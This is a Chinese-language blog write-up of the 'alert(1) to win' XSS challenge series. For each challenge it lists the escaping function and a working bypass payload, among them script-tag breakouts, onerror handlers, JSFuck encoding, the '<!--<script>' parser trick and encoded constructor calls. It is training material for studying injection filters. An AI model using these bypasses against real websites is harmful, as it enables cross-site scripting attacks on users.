alert(1) to win

2018/10/05 安全 xss 16084 words views

跟之前的 prompt(1) to win 有点像,一个不错的 xss 练习的平台,加油加油,继续前进!!!持续更新……

1.WarmUp

function escape(s) {
  return '<script>console.log("'+s+'");</script>';
}

payload:

");alert(1);("

2.Adobe

function escape(s) {
  s = s.replace(/"/g, '\\"');
  return '<script>console.log("' + s + '");</script>';
}

payload:

\");alert(1);</script>

3.JSON

function escape(s) {
  s = JSON.stringify(s);
  return '<script>console.log(' + s + ');</script>';
}

We know that JSON.stringify would not escape parenthese or slash. Thus, just utilze them to clode the previous tag and create new one:

</script><script>alert(1)</script>

4.JavaScript

function escape(s) {
  var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
  console.log(url);

  var a = document.createElement('a');
  a.href = url;
  document.body.appendChild(a);
  a.click();
}

使用 URL 编码闭合双引号

payload:

%22);alert(1);(%22

5.Markdown

function escape(s) {
  var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
  return text;
}

读懂上面的 js 代码很重要啊

payload:

[[a|http://onerror='alert(1)']]

两次触发 js 代码从而达到绕过的效果

[[a|http://onload='alert(1)']]
第一次触发会变成下面这个
[[a|<a href="http://onerror='alert(1)']]">http://onerror='alert(1)']]</a>

接下来会进行二次触发(上面这个字符串触发之后)为
<img alt="<a href="http://onerror='alert(1)'" src="a.gif">">http://onerror='alert(1)']]</a>

第二次的触发其实就是前半部分触发
[[a|<a href="http://onerror='alert(1)']]
变成
<img alt="<a href="http://onerror='alert(1)'" src="a.gif">

最终 html 渲染的结果为:

<body>
    <img alt="<a href=" http:="" onerror="alert(1)" "="" src="1.png">"&gt;http://onerror='alert(1)']]
</body>

6.DOM

function escape(s) {
  // Slightly too lazy to make two input fields.
  // Pass in something like "TextNode#foo"
  var m = s.split(/#/);

  // Only slightly contrived at this point.
  var a = document.createElement('div');
  a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
  return a.innerHTML;
}
document['create'+m[0]]
注意这里我们要拼凑成 createComment  --> m[0]
后面拼接的是 m.slice(1)

payload:

Comment#--><img src=a onerror=alert(1)><!--

7.Callback

function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/); 

  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/</g, '\\u003c');
  return "<script>" + thing[0] + "(" + json +")</script>";
}

payload:

'#';alert(1)//
输出为:
<script>'({"userdata":"';alert(1)//"})</script>

8.Skandia

function escape(s) {
  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

payload:

");</script><img src=a onerror=&#97;&#108;&#101;&#114;&#116;(1)><script>("

输出回显

<script>console.log("");</SCRIPT><IMG SRC=A ONERROR=&#97;&#108;&#101;&#114;&#116;(1)><SCRIPT>("")</script>

9.Template

function escape(s) {
  function htmlEscape(s) {
    return s.replace(/./g, function(x) {
       return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": '&#39;' }[x] || x;       
     });
  }

  function expandTemplate(template, args) {
    return template.replace(
        /{(\w+)}/g, 
        function(_, n) { 
           return htmlEscape(args[n]);
         });
  }
  
  return expandTemplate(
    "                                                \n\
      <h2>Hello, <span id=name></span>!</h2>         \n\
      <script>                                       \n\
         var v = document.getElementById('name');    \n\
         v.innerHTML = '<a href=#>{name}</a>';       \n\
      <\/script>                                     \n\
    ",
    { name : s }
  );
}

OMG, so many chracters are escaped. But don’t worry, the innerHTML is a javascript string. Just use javascript encode, alert:

payload:

<  \u003c
>  \u003e
\u003cimg src=a onerror=alert(1)\u003e

输出回显

 <h2>Hello, <span id=name></span>!</h2>         
  <script>                                       
     var v = document.getElementById('name');    
     v.innerHTML = '<a href=#>\u003cimg src=a onerror=alert(1)\u003e</a>';       
  </script>  

10.JSON 2

function escape(s) {
  s = JSON.stringify(s).replace(/<\/script/gi, '');

  return '<script>console.log(' + s + ');</script>';
}

payload:

</scr</scriptipt><script>alert(1)</scr</scriptipt>

11.Callback 2

function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/); 

  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/\//g, '\\/');
  return "<script>" + thing[0] + "(" + json +")</script>";
}

payload:

跟第七题类似,但是这里过滤了反斜线,我们可以换一种过滤方式

'#';alert(1);<!--

12.Skandia 2

function escape(s) {
  if (/[<>]/.test(s)) return '-';

  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

payload:

这里主要就是过滤了尖括号

");alert(1);//
输出
<script>console.log("");ALERT(1);//")</script>

我们将 alert(1) 进行 JSFuck 编码

alert(1)
编码之后为:
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

然后替换最初的 alert(1) 即可

13.iframe

function escape(s) {
  var tag = document.createElement('iframe');

  // For this one, you get to run any code you want, but in a "sandboxed" iframe.
  //
  // https://4i.am/?...raw=... just outputs whatever you pass in.
  //
  // Alerting from 4i.am won't count.

  s = '<script>' + s + '<\/script>';
  tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s);

  window.WINNING = function() { youWon = true; };

  tag.setAttribute('onload', 'youWon && alert(1)');
  return tag.outerHTML;
}
<script>name="youWon"</script>

frames have a interesting feature: setting the name attribute on an iframe sets the name property of the iframe’s global window object to the value of that string. Now, the interesting part is that it can be done the other way around, so an iframe can define its own window.name and the new name will be injected in the parent’s global window object if it does not exist already (it cannot overwrite it). So if we fool the framed site to declare its window.name as “youWon”, a youWon variable will be setted in the parent global window object and so the “alert(1)” will be popped

payload:

这里的目的是要让 youWon 变量不为空或者不是未定义,这样我们就可以执行onload="youWon && alert(1)" 后面的 alert(1)

14.TI(S)M

function escape(s) {
  function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
  function html(s) { return s.replace(/[<>"&]/g, function(s) {
                        return '&#' + s.charCodeAt(0) + ';'; }); }

  return (
    '<script>' +
      'var url = ' + json(s) + '; // We\'ll use this later ' +
    '</script>\n\n' +
    '  <!-- for debugging -->\n' +
    '  URL: ' + html(s) + '\n\n' +
    '<!-- then suddenly -->\n' +
    '<script>\n' +
    '  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
    '  else new Image().src = url;\n' +
    '</script>'
  );
}

这里主要利用不同地方的过滤规则不同从而达到绕过的效果,URL 后面没有过滤反斜线。

注意到 URL: XXX 是在 <script> 标签外面了。

payload:

alert(1);/*<!--<script>*/if(/a//*  

输出

<script>var url = "alert(1);\/*<!--<script>*\/if(\/a\/\/*  "; // We'll use this later </script>

  <!-- for debugging -->
  URL: alert(1);/*&#60;!--&#60;script&#62;*/if(/a//*  

<!-- then suddenly -->
<script>
  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
  else new Image().src = url;
</script>

去掉注释部分,其实我们的输出就是

<script>  
  var url = "alert(1);\/*<!--<script>*\/if(\/a\/\/*";
  URL: alert(1); if(/a/.test(url)) console.log("Bad url: " + url);
  else new Image().src = url;
</script> 

根据上面,可以构造更简洁的 payload

if(alert(1)/*<!--<script>

输出

<script>  
  var url = "alert(1);\/*<!--<script>*\/if(\/a\/\/*";
  URL: if(alert(1).test(url)) console.log("Bad url: " + url);
  else new Image().src = url;
</script>  

原理:

The trick is that injecting an HTML5 single line comment <!-- followed by a <script> open tag will move the parser into the “script data double escaped state” until the closing script tag is found and then it will transition into “script data escaped state” and it will treat anything from the end of the string where we injected the <!--<script> as JS! only thing we need to do is making sure there is a --> so that the parser does not throw an invalid syntax exception.

The string where we inject <!--<script> will still be considered as a JS string an everything following the string will become JS.

15.JSON 3

function escape(s) {
  return s.split('#').map(function(v) {
      // Only 20% of slashes are end tags; save 1.2% of total
      // bytes by only escaping those.
      var json = JSON.stringify(v).replace(/<\//g, '<\\/');
      return '<script>console.log('+json+')</script>';
      }).join('');
}
JSON.stringify() 方法是将一个JavaScript值(对象或者数组)转换为一个 JSON字符串

这题的解法跟上一题有点类似,利用 <!--<script> 造成 JS 代码的二次逃逸状态

Note that this trick only works in HTML5 documents and we will need to inject a closing “–>” since it is not present in the code

payload:

<!--<script>#)/;alert(1);//-->
输出的是:
<script>console.log("<!--<script>")</script><script>console.log(")/;alert(1);//-->")</script>

/script><script>console.log(")/ = junk regrex 这是一个正则表达式的结构

<!–<script> 中的代码全部会被认为是JavaScript的代码,这里的原理我没有完全搞明白,留个坑 ⭐️

16.Skandia 3

function escape(s) {
  if (/[\\<>]/.test(s)) return '-';

  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

Skandia 2,第 12 题的答案还是能用的,这就说明第 12 题的答案不够好

payload:

");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])();//

17.RFC4627

function escape(text) {
  var i = 0;
  window.the_easy_but_expensive_way_out = function() { alert(i++) };

// "A JSON text can be safely passed into JavaScript's eval() function
// (which compiles and executes a string) if all the characters not
// enclosed in strings are in the set of characters that form JSON
// tokens."

  if (!(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
          text.replace(/"(\\.|[^"\\])*"/g, '')))) {
    try { 
      var val = eval('(' + text + ')');
      console.log('' + val);
    } catch (_) {
      console.log('Crashed: '+_);
    }
  } else {
    console.log('Rejected.');
  }
}
!(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(text.replace(/"(\\.|[^"\\])*"/g, '')))
这里主要的焦点就是这个正则表达式
这里的意思就是我们输入的字符串只能是这里的 [,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t] 里面的

If we study the regexp carefully we will see that the letter “s” is allowed since its within the “r-u” interval, that allows us to use the word “self” and with that we can craft a valid JSON payload. The trick is that we will be adding “0” to our object so the JS engine will need to calculate the valueOf our object. So if we define the “valueOf” function as the “the_easy_but_expensive_way_out” global function, we will be able to invoke it during the arithmetic operation. The problem is that it will alert “0” since “i” its initialized with “0”, but we can do it twice to alert a “1”.

payload:

{"valueOf":self["the_easy_but_expensive_way_out"]}+1,{"valueOf":self["the_easy_but_expensive_way_out"]}

18.Well

function escape(s) {
  http://www.avlidienbrunn.se/xsschallenge/

  s = s.replace(/[\r\n\u2028\u2029\\;,()\[\]<]/g, '');
  return "<script> var email = '" + s + "'; <\/script>";
}
\u2028	行分隔符
\u2029 	段落分隔符

payload:

'|new Function `a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}` |'
输出
<script> var email = ''|new Function `a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}` |''; </script>

19.No

// submitted by Stephen Leppik

function escape(s) {
    s = s.replace(/[()`<]/g, ''); // no function calls

    return '<script>\n' +
           'var string = "' + s + '";\n' +
           'console.log(string);\n' +
           '</script>';
}

20.K’Z’K

// submitted by Stephen Leppik
function escape(s) {
    // remove vowels in honor of K'Z'K the Destroyer
    s = s.replace(/[aeiouy]/gi, '');
    return '<script>console.log("' + s + '");</script>';
}

Payload:

");[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']
('\141\154\145\162\164\50\61\51')();//

[]['filter']['constructor']('alert(1)')()
经过编码之后
[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']
('\141\154\145\162\164\50\61\51')()

在线解码网站http://ddecode.com/hexdecoder/

XSS 编码相关参考:XSS编码剖析

这里我有点疑问就是,为什么把 alert(1) 直接编码成 16 进制没法执行是为什么,是被解析成一般的字符串而不是函数?这里涉及的 JS 的知识并不懂,留个坑⭐️

21.K’Z’K

// submitted by Stephen Leppik
function escape(s) {
    // remove vowels and escape sequences in honor of K'Z'K 
    // y is only sometimes a vowel, so it's only removed as a literal
    s = s.replace(/[aeiouy]|\\((x|u00)([46][159f]|[57]5)|1([04][15]|[15][17]|[26]5))/gi, '')
    // remove certain characters that can be used to get vowels
    s = s.replace(/[{}!=<>]/g, '');
    return '<script>console.log("' + s + '");</script>';
}

payload:

采用匿名函数的构造方法 []["pop"]["constructor"]('alert(1)')() 的16进制绕过

第 20 题可以采用这个 payload 来绕过
"|[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()|"
console.log(""|[]["pp"]["cnstrctr"]('lrt(1)')()|"");

第 21 题需要双写绕过过滤
"|[]["p\\x6fx6fp"]["c\\x6fx6fnstr\\x75x75ct\\x6fx6fr"]('\\x61x61l\\x65x65rt(1)')()|"
console.log(""|[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()|"");

参考

alert(1) to win payloads
alf.nu alert(1) 1~10 writeup
escape.alf.nu XSS挑战赛writeup
escape.alf.nu XSS Challenges Write-ups (Part 2)
Older Challenges and Write Ups

Search

    Table of Contents